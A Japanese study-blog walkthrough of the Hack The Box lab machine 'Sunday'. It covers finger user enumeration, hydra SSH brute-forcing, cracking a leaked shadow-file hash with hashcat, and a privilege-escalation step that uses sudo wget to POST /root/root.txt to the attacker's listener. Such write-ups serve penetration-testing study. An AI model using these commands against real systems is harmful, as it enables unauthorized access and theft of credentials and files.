家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】Sunday

偵察/スキャン

nmapでスキャンします。

┌─[iestudy@parrot]─[~]
└──╼ $nmap 10.10.10.76
Starting Nmap 7.93 ( https://nmap.org ) 
Nmap scan report for 10.10.10.76
Host is up (0.27s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE
79/tcp  open  finger
111/tcp open  rpcbind
515/tcp open  printer

TCP/79ではfingerというサービスが待ち受けていました。

fingerはユーザのログイン状況を取得できるようなサービスのようです。

過去、便利なプロトコルとして使われていたようですが、現在ではセキュリティ上の懸念もあるようです。

ja.wikipedia.org

 

fingerコマンドを実行してみると現在は誰もログインしていないようでした。

finger実行結果

 

アクセス取得

MSFconsole を起動し、Finger に関連するモジュールを検索します。「auxiliary/scanner/finger/finger_users」を選択しワードリストにSecListsの「named.txt」を設定します。

SecListsの取得

github.com

ユーザ「sunnny」取得

ユーザ「sunny」が取得できました。

次に「sunny」に対してブルートフォースを行います。

┌──(kali㉿kali)-[~/SecLists/Passwords]
└─$ hydra -l sunny -P ./probable-v2-top1575.txt -s 22022  10.10.10.76 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1575 login tries (l:1/p:1575), ~99 tries per task
[DATA] attacking ssh://10.10.10.76:22022/
[STATUS] 156.00 tries/min, 156 tries in 00:01h, 1421 to do in 00:10h, 14 active
[STATUS] 128.00 tries/min, 384 tries in 00:03h, 1193 to do in 00:10h, 14 active
[STATUS] 123.71 tries/min, 866 tries in 00:07h, 711 to do in 00:06h, 14 active
[22022][ssh] host: 10.10.10.76   login: sunny   password: sunday
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-05-02 23:16:44

パスワード「sunday」が取得できました。

※なお、自分の環境では、patatorではうまく実行できませんでした。

参考:patatorとは

kali.org

上記で得られた情報をもとにsshでアクセスしてみます。

通常のsshコマンドではアクセスできませんでした。

sshのsha1を許可することでアクセスができました。

┌──(kali㉿kali)-[~/.ssh]
└─$ sudo ssh sunny@10.10.10.76 -oKexAlgorithms=diffie-hellman-group-exchange-sha256 -p 22022
The authenticity of host '[10.10.10.76]:22022 ([10.10.10.76]:22022)' can't be established.
ED25519 key fingerprint is SHA256:t3OPHhtGi4xT7FTt3pgi5hSIsfljwBsZAUOPVy8QyXc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.10.76]:22022' (ED25519) to the list of known hosts.
(sunny@10.10.10.76) Password: 
Last login: Wed Apr 13 15:35:50 2022 from 10.10.14.13
Oracle Corporation      SunOS 5.11      11.4    Aug 2018
sunny@sunday:~$ 

権限昇格

sudo -lを実行すると/root/trollが実行できるようですが、有効な情報を得られませんでした。

sunny@sunday:~$ sudo -l
ユーザー sunny は sunday 上で コマンドを実行できます
    (root) NOPASSWD: /root/troll
sunny@sunday:~$ sudo /root/troll
testing
uid=0(root) gid=0(root)

フォルダの探索を行うと/root/backupが見つかりました。

ls -al ~/;ls -al /home/* / /home/*/.bash_histroy
sunny@sunday:~$ 
sunny@sunday:~$ ls -al ~/;ls -al /home/* / /home/*/.bash_history
total 19
drwxr-xr-x   2 sunny    staff          8  4月 13日 2022年 .
dr-xr-xr-x   4 root     root           4 12月 19日 2021年 ..
-rw-------   1 sunny    staff        402  4月 13日 2022年 .bash_history
-r--r--r--   1 sunny    staff        159 12月 19日 2021年 .bashrc
-rw-r--r--   1 sunny    staff        568 12月 19日 2021年 .profile
-rw-r--r--   1 sunny    staff        156 12月 19日 2021年 local.cshrc
-rw-r--r--   1 sunny    staff         97 12月 19日 2021年 local.login
-rw-r--r--   1 sunny    staff        119 12月 19日 2021年 local.profile
-rw-------   1 sunny    staff        402  4月 13日 2022年 /home/sunny/.bash_history

/:
total 1858
drwxr-xr-x  25 root     sys           28  6月  2日  02:21 .
drwxr-xr-x  25 root     sys           28  6月  2日  02:21 ..
drwxr-xr-x   2 root     root           4 12月 19日 2021年 backup
lrwxrwxrwx   1 root     root           9 12月  8日 2021年 bin -> ./usr/bin
drwxr-xr-x   5 root     sys            9 12月  8日 2021年 boot
drwxr-xr-x   2 root     root           4 12月 19日 2021年 cdrom
drwxr-xr-x 219 root     sys          219  6月  2日  02:21 dev
drwxr-xr-x   4 root     sys            5  6月  2日  02:21 devices
drwxr-xr-x  81 root     sys          173  6月  2日  02:21 etc
drwxr-xr-x   3 root     sys            3 12月  8日 2021年 export
dr-xr-xr-x   4 root     root           4 12月 19日 2021年 home
drwxr-xr-x  21 root     sys           21 12月  8日 2021年 kernel
drwxr-xr-x  11 root     bin          342 12月  8日 2021年 lib
drwxr-xr-x   2 root     root           3  6月  2日  02:21 media
drwxr-xr-x   2 root     sys            2  8月 17日 2018年 mnt
dr-xr-xr-x   1 root     root           1  6月  2日  02:21 net
dr-xr-xr-x   1 root     root           1  6月  2日  02:21 nfs4
drwxr-xr-x   2 root     sys            2  8月 17日 2018年 opt
drwxr-xr-x   4 root     sys            4  8月 17日 2018年 platform
dr-xr-xr-x  79 root     root      480032  6月  2日  03:54 proc
drwx------   2 root     root          10  4月 13日 2022年 root
drwxr-xr-x   3 root     root           3 12月  8日 2021年 rpool
lrwxrwxrwx   1 root     root          10 12月  8日 2021年 sbin -> ./usr/sbin
drwxr-xr-x   7 root     root           7 12月  8日 2021年 system
drwxrwxrwt   3 root     sys          276  6月  2日  03:54 tmp
drwxr-xr-x  29 root     sys           41 12月  8日 2021年 usr
drwxr-xr-x  42 root     sys           51 12月  8日 2021年 var
-r--r--r--   1 root     root      298504  8月 17日 2018年 zvboot

/home/sammy:
total 8
drwxr-xr-x   2 root     root           3 12月 19日 2021年 .
dr-xr-xr-x   4 root     root           4 12月 19日 2021年 ..
-rw-r--r--   1 root     root          33  6月  2日  02:22 user.txt

/home/sunny:
total 19
drwxr-xr-x   2 sunny    staff          8  4月 13日 2022年 .
dr-xr-xr-x   4 root     root           4 12月 19日 2021年 ..
-rw-------   1 sunny    staff        402  4月 13日 2022年 .bash_history
-r--r--r--   1 sunny    staff        159 12月 19日 2021年 .bashrc
-rw-r--r--   1 sunny    staff        568 12月 19日 2021年 .profile
-rw-r--r--   1 sunny    staff        156 12月 19日 2021年 local.cshrc
-rw-r--r--   1 sunny    staff         97 12月 19日 2021年 local.login
-rw-r--r--   1 sunny    staff        119 12月 19日 2021年 local.profile
sunny@sunday:~$ 

/backupに有用そうなファイルがありました。

sunny@sunday:~$ cd /backup/
sunny@sunday:/backup$ ls
agent22.backup  shadow.backup
sunny@sunday:/backup$ cat shadow.backup 
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
sunny@sunday:/backup$

sammyはfingerのプロトコルを攻撃した際に確認されたユーザです。

hashの値は以下のサイトで確認できます。

hashcat.net

hashcatでパスワードを解析します。

※解析対象とするファイルにコピペするhash値は「:」より前までになります。

┌──(kali㉿kali)-[~/htb]
└─$ sudo hashcat -m 7400 summy.hash /usr/share/wordlists/rockyou.txt --force
hashcat (v6.2.6) starting

~中略~

$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:cooldude!
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 7400 (sha256crypt $5$, SHA256 (Unix))
Hash.Target......: $5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB
Time.Started.....: Sat Jun  3 22:33:10 2023, (1 min, 57 secs)
Time.Estimated...: Sat Jun  3 22:35:07 2023, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     1746 H/s (13.27ms) @ Accel:32 Loops:1024 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 203648/14344385 (1.42%)
Rejected.........: 0/203648 (0.00%)
Restore.Point....: 203520/14344385 (1.42%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4096-5000
Candidate.Engine.: Device Generator
Candidates.#1....: coolster -> cocong
Hardware.Mon.#1..: Util: 66%

得られたパスワードでアクセスしてみます。

「sudo -l」ではroot権限でwgetが使えることがわかりました。

そこでncで待ち受け、そこにwgetでPOSTする方法でフラグを取得します。

※上記手法は「sudo python -m  http.server 80」では失敗となります。

┌──(kali㉿kali)-[~/htb]
└─$ ssh sammy@10.10.10.76 -oKexAlgorithms=diffie-hellman-group-exchange-sha256 -p 22022
(sammy@10.10.10.76) Password: 
Last login: Sat Jun  3 13:41:00 2023 from 10.10.14.2
Oracle Corporation      SunOS 5.11      11.4    Aug 2018
-bash-4.4$ sudo -l
ユーザー sammy は sunday 上で コマンドを実行できます
    (ALL) ALL
    (root) NOPASSWD: /usr/bin/wget
-bash-4.4$ sudo wget http://10.10.14.2:80 --post-file=/root/root.txt
--2023-06-03 13:46:14--  http://10.10.14.2/
10.10.14.2:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 501 Unsupported method ('POST')
2023-06-03 13:46:15 エラー 501: Unsupported method ('POST')。

-bash-4.4$ sudo wget http://10.10.14.2:80 --post-file=/root/root.txt
--2023-06-03 13:47:07--  http://10.10.14.2/
10.10.14.2:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 

 

フラグ取得

参考にさせていただいたサイト

貴重な情報をありがとうございます。

sanposhiho.com

resources.infosecinstitute.com